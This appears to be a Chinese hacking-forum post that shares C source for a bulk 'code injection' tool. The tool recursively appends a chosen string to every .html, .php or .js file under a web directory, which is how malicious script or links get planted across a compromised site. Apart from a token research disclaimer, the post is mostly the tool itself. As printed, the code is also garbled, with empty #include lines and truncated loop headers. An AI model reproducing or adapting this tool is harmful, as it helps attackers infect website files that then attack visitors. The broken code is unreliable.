找回密码
 注册
搜索
热搜: 回贴

C版本的批量注入代码工具 Inject_Code 1.0

2010-1-31 08:10| 发布者: admin| 查看: 141| 评论: 0|原作者: 小寳寳

了一小段代码。linux编译通过,windows下我没试应该也可以。一个C版本的批量注入代码工具。功能:遍历目录、子目录下所有文件,在文件的最后开始注入代码。目录位置,文件后缀名可以自定义。具体细节请查看下面的源代码。此工具纯属研究,请勿非法使用。

/*
* Inject_Code 1.0
*
* Compile with:
* gcc -o inject_code inject_code.c
*
* Usage:
* inject_code Inject_Documnet Inject_Code File_Type
* inject_code /usr/www "" .html .php .js
*
* written by xisigr 2009/4/28
*
*/


#include
#include
#include
#include
#include
#define true 1
#define false 0

Inject(char *FilePath, char *Text)
{
FILE *fp;
fp = fopen(FilePath, "rb+");

if(fp == NULL)
{
return false;
}

fseek(fp, 0, SEEK_END);
fwrite(Text, sizeof(char), strlen(Text), fp);
fwrite("\n", sizeof(char), strlen("\n"), fp);
fclose(fp);
return true;
}

void List_Files(char *Source, char *Text, int Type_Number, char *Inject_File[10])
{
DIR *dp;
struct dirent *dir_entry;
struct stat stat_info;
int i;

if((dp=opendir(Source))==NULL)
{
return;
}

chdir(Source);

while((dir_entry=readdir(dp))!=NULL)
{
stat(dir_entry->d_name,&stat_info);
if(S_ISDIR(stat_info.st_mode))
{
if(strcmp(".",dir_entry->d_name)==0||
strcmp("..",dir_entry->d_name)==0)
continue;
List_Files(dir_entry->d_name, Text, Type_Number, Inject_File);
}

else
{
int len;
len = strlen(dir_entry->d_name);
for(i=0; i {
if(strncmp(&dir_entry->d_name[len-4],Inject_File[i],4)!=0) continue;

if(Inject(dir_entry->d_name,Text))
printf("Inject ok\n");
else
printf("Inject error\n");
}
}
}
chdir("..");
closedir(dp);
}

void Usage(char*name)
{
printf("usage: %s Inject_Documnet Inject_Code File_Type\n",name);
printf("%s /usr/www \"\" .html .php .js\n", name);
printf("written by xisigr 2009/4/28\n");
exit(0);
}

int main(int argc,char *argv[])
{
char *Source;
char *Text;
char *Inject_File[10];
int Type_Number;
int w;
int c;
Source=argv[1];
Text=argv[2];
c=argc;
Type_Number=c-3;

if(c < 4)
{
Usage(argv[0]);
}
if(strlen(Text) > 200)
{
printf("Text is too long\n");
exit(0);
}
if(Type_Number > 10)
{
printf("Number_Type is too long\n");
exit(0);
}
for(w=0; w {
Inject_File[w]=argv[--c];
}

List_Files(Source, Text, Type_Number,Inject_File);
return true;
}

最新评论

相关分类

QQ|小黑屋|最新主题|手机版|微赢网络技术论坛 ( 苏ICP备08020429号 )

GMT+8, 2024-9-29 15:25 , Processed in 0.185839 second(s), 12 queries , Gzip On, MemCache On.

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

返回顶部